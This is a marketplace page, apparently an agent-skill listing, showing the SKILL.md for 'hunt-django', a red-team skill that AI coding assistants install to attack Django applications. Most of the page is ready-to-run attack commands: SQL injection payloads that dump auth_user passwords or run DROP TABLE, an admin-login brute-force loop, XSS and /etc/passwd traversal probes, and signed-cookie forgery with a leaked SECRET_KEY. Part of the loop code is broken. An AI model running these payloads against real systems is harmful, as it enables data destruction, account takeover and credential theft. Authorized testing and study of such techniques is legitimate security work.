القائمة
Hunt Django-specific vulnerabilities: DRF permission gaps, ORM injection, and admin exploitation.
يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.
اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
يتجاوز الأمر المباشر Prompt المخصّص للمراجعة. افحص المصدر قبل تشغيله.
npx skills add https://github.com/uphiago/recon-skills --skill hunt-djangoيبقى الأمر في سطر واحد. مرّر أفقيًا لمراجعته كاملًا قبل النسخ.
تفضّل نسخة محلية؟ نزّل الملفات المتاحة حاليًا لدى SkillsMP.
استنادا إلى تصنيف SOC المهني
عرض SKILL.md
| name | hunt-django |
| description | Hunt Django-specific vulnerabilities: DRF permission gaps, ORM injection, and admin exploitation. |
| category | redteam |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, python3 |
| tags | ["redteam","django","DRF","ORM","Python","admin","CSRF"] |
| related_skills | ["hunt-sqli","hunt-ssti","hunt-idor","hunt-csrf"] |
Hunt Django-specific vulnerabilities focusing on Django REST Framework (DRF) permission class gaps, ORM raw query injection, template injection via |safe and mark_safe, and Django admin panel exploitation. Django's batteries-included approach creates unique attack surface: admin interface, ORM query building, DRF serializers, Channels WebSockets, and Celery task queues.
csrftoken cookie, /admin/ login, DRF browsable API, or __debug__toolbar)./admin/ or custom path.# Django fingerprinting
curl --max-time 30 --connect-timeout 10 -skI "https://target.com/admin/login/" | grep -iE "csrftoken|sessionid|django"
curl --max-time 30 --connect-timeout 10 -sk "https://target.com" | grep -Eo 'csrftoken|__debug__|django'
# DRF list vs retrieve vs custom @action — each may have different permissions
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users/" # list: may be restricted
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users/1/" # retrieve: may leak individual
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users/me/" # me: may work without auth
# Custom @action endpoints often miss permission checks
# Test common DRF action names
for action in "export" "import" "bulk" "search" "stats" "report" \
;
curl --max-time 30 --connect-timeout 10 -sk -X POST \
-w -o /dev/null
# Django raw() — direct SQL injection
requests.get("https://target.com/api/search/?q=' UNION SELECT username,password FROM auth_user--")
# Django extra() — where clause injection
requests.get("https://target.com/api/products/?category=1' OR '1'='1")
# RawSQL in annotations
requests.get("https://target.com/api/stats/?order=name'); DROP TABLE auth_user;--")
# Django cursor.execute() on user input
# Find via code review: cursor.execute(f"SELECT * FROM {table}")
# Admin interface discovery
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/admin/"
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/django-admin/"
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/administrator/"
# Admin panel session cookie analysis
# If you obtain a session cookie, decode it
echo "SESSION_COOKIE" | python3 -c "
import base64,json,zlib,sys
cookie=sys.stdin.read().strip()
data=base64.b64decode(cookie.split('.')[0]+'==')
print(json.loads(zlib.decompress(data)))
"
# Django admin brute force (check for common credentials)
for pw in admin password django admin123 changeme; do
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/admin/login/?next=/admin/" \
-d "username=admin&password=$pw&csrfmiddlewaretoken=TOKEN" \
-c /tmp/jar.txt -w "%{http_code} — $pw\n" -o /dev/null
done
# mark_safe and |safe filter on user input
# If a view returns mark_safe(user_input), inject HTML/JS
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/contact/?message=<script>alert(1)</script>"
# Template injection via user-controlled template names
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/preview/?template=../../etc/passwd"
# SECRET_KEY leakage → signed cookie forgery
# If SECRET_KEY is leaked (env file, debug page, error)
python3 -c "
from django.core.signing import TimestampSigner
signer = TimestampSigner(key='LEAKED_SECRET_KEY')
print(signer.sign('admin'))
"
# Django Channels WebSocket — may not enforce same auth as REST
# Test WS connection with and without session cookie
wscat -c "wss://target.com/ws/chat/" -H "Cookie: sessionid=INVALID"
# Async consumers without @database_sync_to_async may have race conditions
# Test parallel WS messages to trigger race
AllowAny ≠ misconfiguration. Verify the endpoint is supposed to be public before reporting.|safe or mark_safe must be explicitly used.IsAuthenticated returns data that should be restricted.hunt-sqli — Django ORM raw query injection chains to full SQL injection.hunt-ssti — Django template injection via user-controlled template names.hunt-idor — DRF permission gaps leading to object-level access.